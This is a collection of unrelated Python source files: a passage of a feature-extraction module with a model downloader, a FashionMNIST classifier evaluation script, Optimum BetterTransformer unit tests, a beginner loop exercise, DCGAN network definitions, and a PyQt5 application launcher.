            raise NotImplementedError("layer could not be found\n"
                                "available layers: ", layer_choices)

def postprocessor(data_: t.Dict[str, torch.Tensor], compress=True):

    # TODO?: no compression for now

    if compress:
        return {task: np.float16(
            torch.nn.AvgPool2d(3)(features.unsqueeze(0))[0].to('cpu')
                                ) for task, features in data_.items()}

    else:
        return {task: np.float32(features.to('cpu')) for task, features in data_.items()}

def generate_file_name(old_file_name, task="no_task"):

    assert task != "no_task" or currently_selected_model == "imagenet_pretr"  # a task has to be specified, except with imagenet pretr

    return old_file_name.split(".")[0] + '_features' + \
           ('_' + task if currently_selected_model != "imagenet_pretr" else "") +\
                                                                             '.npy'

def saver(data_: t.Dict[str, np.ndarray], path: str, file_name: str) -> t.NoReturn:

    for task in data_.keys():
        full_path = os.path.join(path, module_name, currently_selected_model)
        if not os.path.isdir(full_path):
            os.makedirs(full_path)
        np.save(os.path.join(full_path, generate_file_name(file_name, task)), data_[task]) # first 32 are high features

def select_model(model_name: str):

    global model_, cfg, transformer, currently_selected_model

    currently_selected_model = model_name
    if 'SSF' in model_name:
            _download_SSF_model(model_name)

    parse_string = _create_parse_string(model_params[model_name])

    if 'nyud' in model_name:
        cfg = nyud_config.create_config(parse_string)
        model_ = nyud_config.get_net_resnet(cfg)
        _, _, transformer = nyud_config.get_transformations(cfg)
    elif 'pascal' in model_name or model_name == "imagenet_pretr":
        cfg = pascal_config.create_config(parse_string)
        model_ = pascal_config.get_net_resnet(cfg)
        _, _, transformer = pascal_config.get_transformations(cfg)
    else:
        raise NotImplementedError("model name should either contain 'nyud' or 'pascal' or be 'imagenet_pretr")

    model_.to(device)
    model_.eval()

def get_features_by_image_path(path_to_file: str):
    pass

def get_features_by_image_data(img_data: np.ndarray):
    pass

def _download_SSF_model(model_name: str):

    url = SSF_model_urls[model_name]
    save_dir = os.path.join(Path.exp_dir(), "SSF")
    tmp_file_name = os.path.join("tmp", model_name + ".zip")

    if not os.path.isdir(save_dir):
        os.makedirs(save_dir)
    if not os.path.isdir("tmp"):
        os.mkdir("tmp")

    if not os.path.isfile(tmp_file_name):
        gdown.download(url, tmp_file_name, quiet=False)
        gdown.extractall(tmp_file_name, save_dir)
    else:
        print(tmp_file_name, "already exists, skipping download")

def _create_parse_string(cfg: t.Dict):

    args = []
    for key, value in cfg.items():
        args.append("--" + key)

        if value != "":
            if isinstance(value, list):
                for arg in value:

                    args.append(str(arg))
            else:
                args.append(str(value))
    return args


import torch
import torchvision
from torchvision.datasets import FashionMNIST
from torch.utils.data import DataLoader
from torchvision import transforms
import numpy as np
import matplotlib.pyplot as plt
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
from torch.autograd import Variable

batch_size = 50

dataTransform = transforms.ToTensor()
trainData = FashionMNIST(root='./data', train=True, download=True, transform=dataTransform)
trainLoader = DataLoader(trainData, batch_size=batch_size, shuffle=True)
testData = FashionMNIST(root='./data', train=False,  download=True, transform=dataTransform)
testLoader = DataLoader(testData, batch_size=batch_size, shuffle=True)

classes = ['T-shirt/top', 'Trouser', 'Pullover', 'Dress', 'Coat',
           'Sandal', 'Shirt', 'Sneaker', 'Bag', 'Ankle boot']

class Net(nn.Module):

    def __init__(self):
        super(Net, self).__init__()
        self.conv1 = nn.Conv2d(1, 8, 3, padding=1)
        self.pool = nn.MaxPool2d(2,2)
        self.conv2 = nn.Conv2d(8,16,3, padding=1)
        self.fc1 = nn.Linear(7*7*16,75)
        self.dropout = nn.Dropout(0.2)
        self.fc2 = nn.Linear(75,10)

    def forward(self, x):

        x = self.pool(F.relu(self.conv1(x)))
        x = self.pool(F.relu(self.conv2(x)))
        x = x.view(x.size(0), -1)
        x = F.relu(self.fc1(x))
        x = self.dropout(x)
        x = F.relu(self.fc2(x))
        return x

net = Net()

modelDirectory = 'saved/'

modelName = input("\nEnter the Model Name (default savedModel):")
if modelName=='':
    modelName="savedModel"
modelName+=".pt"

net.load_state_dict(torch.load( modelDirectory+modelName))

test_loss = torch.zeros(1)
class_correct = list(0. for i in range(10))
class_total = list(0. for i in range(10))

net.eval()

criterion = nn.CrossEntropyLoss()
optimizer = optim.SGD(net.parameters(), lr=0.001, momentum=0.9)

correct = 0
total = 0

for batch_i, data in enumerate(testLoader):

    inputs, labels = data

    with torch.no_grad():

        outputs = net(inputs)
        loss = criterion(outputs, labels)
        test_loss = test_loss + ((torch.ones(1) / (batch_i + 1)) * (loss.data - test_loss))
        _, predicted = torch.max(outputs.data, 1)
        correct = np.squeeze(predicted.eq(labels.data.view_as(predicted)))

        for i in range(batch_size):
            label = labels.data[i]
            class_correct[label] += correct[i].item()
            class_total[label] += 1

print('Test Loss: {:.6f}\n'.format(test_loss.numpy()[0]))

for i in range(10):
    if class_total[i] > 0:
        print('Test Accuracy of %5s: %2d%% (%2d/%2d)' % (
            classes[i], 100 * class_correct[i] / class_total[i],
            np.sum(class_correct[i]), np.sum(class_total[i])))
    else:
        print('Test Accuracy of %5s: ' % (classes[i]))

print('\nTest Accuracy (Overall): %2d%% (%2d/%2d)' % (
    100. * np.sum(class_correct) / np.sum(class_total),
    np.sum(class_correct), np.sum(class_total)))

dataiter = iter(testLoader)
images, labels = next(dataiter)

preds = np.squeeze(net(images).data.max(1, keepdim=True)[1].numpy())
images = images.numpy()

fig = plt.figure(figsize=(30, 6))
for idx in np.arange(batch_size//5*2):
    ax = fig.add_subplot(2, batch_size//5, idx+1, xticks=[], yticks=[])
    ax.imshow(np.squeeze(images[idx]), cmap='gray')
    ax.set_title("{} ({})".format(classes[preds[idx]], classes[labels[idx]]),
                 color=("green" if preds[idx]==labels[idx] else "red"))
plt.tight_layout()
plt.show()


import gc
import timeit
import unittest

import torch
import transformers
from transformers import AutoModel

from optimum.bettertransformer import BETTER_TRANFORMER_LAYERS_MAPPING_DICT, BetterTransformer
from optimum.utils.testing_utils import (
    convert_to_hf_classes,
    is_torch_greater_than_113,
    require_accelerate,
    require_torch_gpu,
)
from testing_bettertransformer_utils import BetterTransformersTestMixin

ALL_ENCODER_MODELS_TO_TEST = [
    "hf-internal-testing/tiny-random-DistilBertModel",
    "hf-internal-testing/tiny-random-AlbertModel",
    "hf-internal-testing/tiny-random-RobertaModel",
    "hf-internal-testing/tiny-xlm-roberta",
    "hf-internal-testing/tiny-random-SplinterModel",
    "hf-internal-testing/tiny-random-ErnieModel",
    "hf-internal-testing/tiny-random-camembert",
    "hf-internal-testing/tiny-random-ElectraModel",
    "hf-internal-testing/tiny-random-LayoutLMModel",
    "hf-internal-testing/tiny-random-Data2VecTextModel",
    "hf-internal-testing/tiny-random-MarkupLMModel",
    "hf-internal-testing/tiny-random-BertModel",
    "ybelkada/random-tiny-BertGenerationModel",
    "hf-internal-testing/tiny-random-TapasModel",
]

ALL_ENCODER_DECODER_MODELS_TO_TEST = [
    "hf-internal-testing/tiny-random-FSMTModel",
    "hf-internal-testing/tiny-random-BartModel",
    "hf-internal-testing/tiny-random-MBartModel",
    "hf-internal-testing/tiny-random-nllb",
]

class BetterTransformersEncoderTest(BetterTransformersTestMixin, unittest.TestCase):
    r"""
    Full testing suite of the `BetterTransformers` integration into Hugging Face
    `transformers` ecosystem. Check the docstring of each test to understand the
    purpose of each test. Basically we test:
    - if the conversion dictionnary is consistent, ie if the converted model exists
    in HuggingFace `transformers` library.
    - if the converted model produces the same logits as the original model.
    - if the converted model is faster than the original model.
    """
    all_models_to_test = ALL_ENCODER_MODELS_TO_TEST

    def tearDown(self):
        gc.collect()

    def prepare_inputs_for_class(self, model_id=None):
        input_dict = {
            "input_ids": torch.LongTensor([[1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1]]),
            "attention_mask": torch.LongTensor([[1, 1, 1, 1, 1, 1], [1, 1, 1, 0, 0, 0]]),
        }
        return input_dict

    def _loop_all_classes(self):
        r"""
        An utility function to automatically loop over all classes to test.
        this is a generator that will generate random config class for each
        model to test.
        """
        for layer_class in BETTER_TRANFORMER_LAYERS_MAPPING_DICT.keys():
            if layer_class == "EncoderLayer":
                # Hardcode it for FSMT - see https://github.com/huggingface/optimum/pull/494
                class_name = "FSMT"
            elif layer_class == "TransformerBlock":
                # Hardcode it for distilbert - see https://github.com/huggingface/transformers/pull/19966
                class_name = "DistilBert"
            elif "EncoderLayer" in layer_class:
                class_name = layer_class[:-12]
            else:
                class_name = layer_class[:-5]
            random_config = getattr(transformers, class_name + "Config")
            yield random_config()

    def test_dict_class_consistency(self):
        r"""
        A test to check if the modified dictionnary is consistent (same number of keys + successfully import
        the correct `PreTrainedModel` module). This also checks if the list of models to test has the same
        number of classes than the list of convertable models.
        """
        for keys in BETTER_TRANFORMER_LAYERS_MAPPING_DICT.keys():
            self.assertTrue(("Layer" in keys) or ("Block" in keys))

        ALL_SUPPORTED_HF_CLASSES = convert_to_hf_classes(BETTER_TRANFORMER_LAYERS_MAPPING_DICT)
        self.assertEqual(len(ALL_SUPPORTED_HF_CLASSES.keys()), len(BETTER_TRANFORMER_LAYERS_MAPPING_DICT.keys()))

    def test_raise_pos_emb(self):
        r"""
        Test if the converion properly raises an error if the model has an activate function that is
        not supported by `BetterTransformer`. For now, only `Bert` family model support this test.
        """
        random_config = getattr(transformers, "BertConfig")()
        random_config.position_embedding_type = "relative"

        with self.assertRaises(ValueError):
            hf_model = AutoModel.from_config(random_config).eval()
            _ = BetterTransformer.transform(hf_model, keep_original_model=False)

    def test_raise_activation_fun(self):
        r"""
        A tests that checks if the conversion raises an error if the model contains an activation function
        that is not supported by `BetterTransformer`. Here we need to loop over the config files
        """
        for hf_random_config in self._loop_all_classes():
            hf_random_config.hidden_act = "silu"

            hf_random_model = AutoModel.from_config(hf_random_config).eval()
            with self.assertRaises(ValueError):
                _ = BetterTransformer.transform(hf_random_model, keep_original_model=True)

    @unittest.skipIf(not is_torch_greater_than_113(), "the test needs Pytorch >= 1.13.0")
    @torch.no_grad()
    def test_inference_speed(self):
        r"""
        The converted models should be at least slightly faster than the native
        model. This test aims to check this.
        Let's test the inference speed on bert-base-uncased only. If it works for this
        model, it should be applicable to all other models, see the test above.
        """
        model_name = "bert-base-uncased"

        hf_model = AutoModel.from_pretrained(model_name).eval()
        bt_model = BetterTransformer.transform(hf_model, keep_original_model=True)

        BATCH_SIZE = 1
        SEQ_LEN = 16
        MAX_SEQ_LEN = 32
        STD_SEQ_LEN = 10  # let's take a large sequence length standard deviation
        VOCAB_SIZE = 50
        N_REPEAT = 10

        input_ids, _, attention_mask = get_batch(BATCH_SIZE, SEQ_LEN, MAX_SEQ_LEN, STD_SEQ_LEN, VOCAB_SIZE)

        mean_hf_time = 0
        mean_bt_time = 0

        # warmup hf_model
        _ = hf_model(input_ids, attention_mask=attention_mask)
        # warmup bt_model
        _ = bt_model(input_ids, attention_mask=attention_mask)

        for _ in range(N_REPEAT):
            mean_hf_time += timeit.timeit(lambda: hf_model(input_ids, attention_mask=attention_mask), number=1)
            mean_bt_time += timeit.timeit(lambda: bt_model(input_ids, attention_mask=attention_mask), number=1)

        mean_hf_time /= N_REPEAT
        mean_bt_time /= N_REPEAT

        self.assertLess(mean_bt_time, mean_hf_time, "The converted model is slower than the original model.")
        gc.collect()

    def test_pipeline(self):
        r"""
        This test runs pipeline together with Better Transformers converted models using optimum `pipeline`.
        """
        from optimum.pipelines import pipeline

        model_name = "distilbert-base-uncased"
        unmasker = pipeline("fill-mask", model_name, accelerator="bettertransformer")

        out = unmasker("Hello I'm a [MASK] model.")

        self.assertEqual(out[0]["token_str"], "role")
        gc.collect()

    @unittest.skipIf(not is_torch_greater_than_113(), "The test needs accelerate and torch>=1.13 installed")
    @require_torch_gpu
    @require_accelerate
    def check_accelerate_compatibility_cpu_gpu(self, keep_original_model=True, max_memory=None):
        r"""
        This tests if a model loaded with `accelerate` will be successfully converted
        into its BetterTransformers format.
        If this works for roberta, it should work for all other models too.
        """

        hf_model = AutoModel.from_pretrained("xlm-roberta-base", device_map="auto", max_memory=max_memory).eval()
        bt_model = BetterTransformer.transform(
            hf_model, keep_original_model=keep_original_model, max_memory=max_memory
        )

        inputs_ids = torch.LongTensor([[1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1]])
        attention_mask = torch.Tensor([[1, 1, 1, 1, 1, 1], [1, 1, 1, 0, 0, 0]])

        # Check that the model has been dispatched on CPU and GPU
        self.assertSetEqual(set(list(hf_model.hf_device_map.values())), set(max_memory))
        self.assertSetEqual(set(list(bt_model.hf_device_map.values())), set(max_memory))

        # Check that the model has weights on GPU and CPU
        self.assertEqual(bt_model.encoder.layer[0].in_proj_weight.device, torch.device("cuda:0"))
        # Weights that are offloaded on the CPU are offloaded on the `meta` device
        if "cpu" in set(max_memory):
            self.assertEqual(bt_model.encoder.layer[-1].in_proj_weight.device, torch.device("meta"))

        # Forward pass should work
        output_bt = bt_model(inputs_ids, attention_mask)
        output_hf = hf_model(inputs_ids, attention_mask)

        # Assert that the output has been correctly set to the CPU!
        self.assertEqual(output_bt[0].device, torch.device("cpu"))

        # Final step: check the logits
        self.assertTrue(torch.allclose(output_bt[0][0, :3], output_hf[0][0, :3], atol=1e-3))

        # Check that the padding has been taken into account correctly - this checks also if the hooks
        # have been correctly set.
        self.assertTrue(torch.allclose(output_bt[0][1, 3:], torch.zeros_like(output_bt[0][1, 3:])))
        gc.collect()

    def test_accelerate_compatibility_cpu_gpu(self):
        r"""
        Wrapper around the `check_accelerate_compatibility_cpu_gpu` test with `keep_original_model=True`
        """
        max_memory = {0: "1GB", "cpu": "3GB"}
        self.check_accelerate_compatibility_cpu_gpu(keep_original_model=True, max_memory=max_memory)

    def test_accelerate_compatibility_cpu_gpu_without_keeping(self):
        r"""
        Wrapper around the `check_accelerate_compatibility_cpu_gpu` test with `keep_original_model=False`
        """
        max_memory = {0: "1GB", "cpu": "3GB"}
        self.check_accelerate_compatibility_cpu_gpu(keep_original_model=False, max_memory=max_memory)

    def test_accelerate_compatibility_single_gpu(self):
        r"""
        Wrapper around the `check_accelerate_compatibility_cpu_gpu` test with `keep_original_model=False`
        & `max_memory = {0: "2GB"}`
        """
        max_memory = {0: "2GB"}
        self.check_accelerate_compatibility_cpu_gpu(keep_original_model=True, max_memory=max_memory)

    def test_accelerate_compatibility_single_gpu_without_keeping(self):
        r"""
        Wrapper around the `check_accelerate_compatibility_cpu_gpu` test with `keep_original_model=True`
        & `max_memory = {0: "2GB"}`
        """
        max_memory = {0: "2GB"}
        self.check_accelerate_compatibility_cpu_gpu(keep_original_model=False, max_memory=max_memory)

class BetterTransformersEncoderDecoderTest(BetterTransformersTestMixin, unittest.TestCase):
    r"""
    Full testing suite of the `BetterTransformers` integration into Hugging Face
    `transformers` ecosystem. Check the docstring of each test to understand the
    purpose of each test. Basically we test:
    - if the conversion dictionnary is consistent, ie if the converted model exists
    in HuggingFace `transformers` library.
    - if the converted model produces the same logits as the original model.
    - if the converted model is faster than the original model.
    """
    all_models_to_test = ALL_ENCODER_DECODER_MODELS_TO_TEST

    def tearDown(self):
        gc.collect()

    def prepare_inputs_for_class(self, model_id=None):
        input_dict = {
            "input_ids": torch.LongTensor([[1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1]]),
            "attention_mask": torch.LongTensor([[1, 1, 1, 1, 1, 1], [1, 1, 1, 0, 0, 0]]),
            "decoder_input_ids": torch.LongTensor([[0], [0]]),
        }
        return input_dict

def get_batch(batch_size, avg_seqlen, max_sequence_length, seqlen_stdev, vocab_size, pad_idx=0):
    r"""
    Utility function to generate a batch of random sequences, together with their
    attention mask and lengths.
    Copied from: https://github.com/HamidShojanazeri/transformers/blob/ddf0299a13e7c4f54459a0731abd80204a1078f5/examples/pytorch/benchmarking/benchmark_bettertransformer.py#L149
    """
    mean_tensor = torch.Tensor([avg_seqlen]).expand(batch_size)
    stdev_tensor = torch.Tensor([seqlen_stdev]).expand(batch_size)
    lengths = torch.normal(mean_tensor, stdev_tensor).to(torch.int)
    lengths = torch.clamp(lengths, min=0, max=max_sequence_length)
    tokens = torch.full(
        (batch_size, max_sequence_length),
        pad_idx,
    )
    for i in range(batch_size):
        tokens[i, : lengths[i]] = torch.randint(
            pad_idx + 1,
            vocab_size - 1,
            size=(lengths[i],),
        )
    mask = torch.full(
        (batch_size, max_sequence_length),
        0,
    )
    for i in range(batch_size):
        mask[i, : lengths[i]] = 1
    return tokens, lengths, mask


count = 5
while (count >=0):
  print(count)
  count = count - 1

friends = ["Aditya", "Mrinal", "Rithvik"]
for friend in friends:
  print (friend)

# pocketMoney = int(input ("Enter your pocket money. "))

# if (pocketMoney > 500):
#   print ("You are a rich kid.")
# elif (pocketMoney > 100):
#   print ("You have a good life.")
# else:
#   print ("I know what you feel.")


import torch
import torch.nn as nn
import torch.nn.functional as F
from torch.autograd.variable import Variable

device = 'cuda'
def weights_init(w):
    """
    Initializes the weights of the layer, w.
    """
    classname = w.__class__.__name__
    if classname.find('conv') != -1:
        nn.init.normal_(w.weight.data, 0.0, 0.02)
    elif classname.find('bn') != -1:
        nn.init.normal_(w.weight.data, 1.0, 0.02)
        nn.init.constant_(w.bias.data, 0)

# Define the Generator Network
class Generator(nn.Module):
    def __init__(self):
        super().__init__()
        self.n_c =3
        self.ngf = 32
        self.nz = 128
        # Input is the latent vector Z.
        self.tconv1 = nn.ConvTranspose2d(self.nz, self.ngf*16,
            kernel_size=4, stride=1, padding=0, bias=False)
        self.bn1 = nn.BatchNorm2d(self.ngf*16)

        # Input Dimension: (ngf*8) x 4 x 4
        self.tconv2 = nn.ConvTranspose2d(self.ngf*16, self.ngf*8,
            4, 2, 1, bias=False)
        self.bn2 = nn.BatchNorm2d(self.ngf*8)

        # Input Dimension: (ngf*4) x 8 x 8
        self.tconv3 = nn.ConvTranspose2d(self.ngf*8, self.ngf*4,
            4, 2, 1, bias=False)
        self.bn3 = nn.BatchNorm2d(self.ngf*4)

        # Input Dimension: (ngf*2) x 16 x 16
        self.tconv4 = nn.ConvTranspose2d(self.ngf*4, self.ngf*2,
            4, 2, 1, bias=False)
        self.bn4 = nn.BatchNorm2d(self.ngf*2)

        # Input Dimension: (ngf) * 32 * 32
        self.tconv5 = nn.ConvTranspose2d(self.ngf*2, self.ngf,
            4, 2, 1, bias=False)
        self.bn5 = nn.BatchNorm2d(self.ngf)

        self.tconv6 = nn.ConvTranspose2d(self.ngf, self.n_c,
            4, 2, 1, bias=False)
        #Output Dimension: (nc) x 64 x 64

    def forward(self, x):
        x = F.relu(self.bn1(self.tconv1(x)))
        x = F.relu(self.bn2(self.tconv2(x)))
        x = F.relu(self.bn3(self.tconv3(x)))
        x = F.relu(self.bn4(self.tconv4(x)))
        x = F.relu(self.bn5(self.tconv5(x)))

        x = F.tanh(self.tconv6(x))

        return x

# Define the Discriminator Network
class Discriminator(nn.Module):
    def __init__(self):
        super().__init__()
        self.n_c =3
        self.ndf = 12
        # Input Dimension: (nc) x 128 x 128
        self.conv1 = nn.Conv2d(self.n_c, self.ndf,
            4, 2, 1, bias=False)

        # Input Dimension: (ndf) x 64 x 64
        self.conv2 = nn.Conv2d(self.ndf, self.ndf*2,
            4, 2, 1, bias=False)
        self.bn2 = nn.BatchNorm2d(self.ndf*2)

        # Input Dimension: (ndf) x 32 x 32
        self.conv3 = nn.Conv2d(self.ndf*2, self.ndf*4,
            4, 2, 1, bias=False)
        self.bn3 = nn.BatchNorm2d(self.ndf*4)

        # Input Dimension: (ndf*2) x 16 x 16
        self.conv4 = nn.Conv2d(self.ndf*4, self.ndf*8,
            4, 2, 1, bias=False)
        self.bn4 = nn.BatchNorm2d(self.ndf*8)

        # Input Dimension: (ndf*4) x 8 x 8
        self.conv5 = nn.Conv2d(self.ndf*8, self.ndf*16,
            4, 2, 1, bias=False)
        self.bn5 = nn.BatchNorm2d(self.ndf*16)

        # Input Dimension: (ndf*8) x 4 x 4
        self.conv6 = nn.Conv2d(self.ndf*16, 1, 4, 1, 0, bias=False)

    def forward(self, x):
        x = F.leaky_relu(self.conv1(x), 0.2, True)
        x = F.leaky_relu(self.bn2(self.conv2(x)), 0.2, True)
        x = F.leaky_relu(self.bn3(self.conv3(x)), 0.2, True)
        x = F.leaky_relu(self.bn4(self.conv4(x)), 0.2, True)
        x = F.leaky_relu(self.bn5(self.conv5(x)), 0.2, True)

        x = F.sigmoid(self.conv6(x))

        return x

criterion = nn.BCELoss()

def noise(n, n_features=128):
    return Variable(torch.randn(n, n_features)).to(device)

def make_ones_4d(size):
    data = Variable(torch.ones(size, 1,1,1))
    return data.to(device)

def make_zeros_4d(size):
    data = Variable(torch.zeros(size, 1,1,1))
    return data.to(device)

def train_discriminator(optimizer, real_data, fake_data,dis):
    n = real_data.size(0)

    optimizer.zero_grad()

    prediction_real = dis(real_data)

    error_real = criterion(prediction_real, make_ones_4d(n))
    error_real.backward()

    prediction_fake = dis(fake_data)
    error_fake = criterion(prediction_fake, make_zeros_4d(n))

    error_fake.backward()
    optimizer.step()

    return error_real + error_fake

def train_generator(optimizer, fake_data,dis):
    n = fake_data.size(0)
    optimizer.zero_grad()

    prediction = dis(fake_data)
    error = criterion(prediction, make_ones_4d(n))

    error.backward()
    optimizer.step()

    return error


import sys
import traceback

from PyQt5.QtWidgets import QApplication

from ru.stepchenkov.trace.window.MainWindow import MainWindow

"""
    Ловим ошибки.
"""

def exception_hook(exc_type, exc_value, exc_tb) -> None:
    tb = "".join(traceback.format_exception(exc_type, exc_value, exc_tb))
    print("Err: ", tb)

"""
    Запуск.
"""
if __name__ == '__main__':
    sys.excepthook = exception_hook
    app = QApplication(sys.argv)
    ex = MainWindow()
    app.exec_()
    del ex, app

def start():
    sys.excepthook = exception_hook
    app = QApplication(sys.argv)
    ex = MainWindow()
    app.exec_()
    del ex, app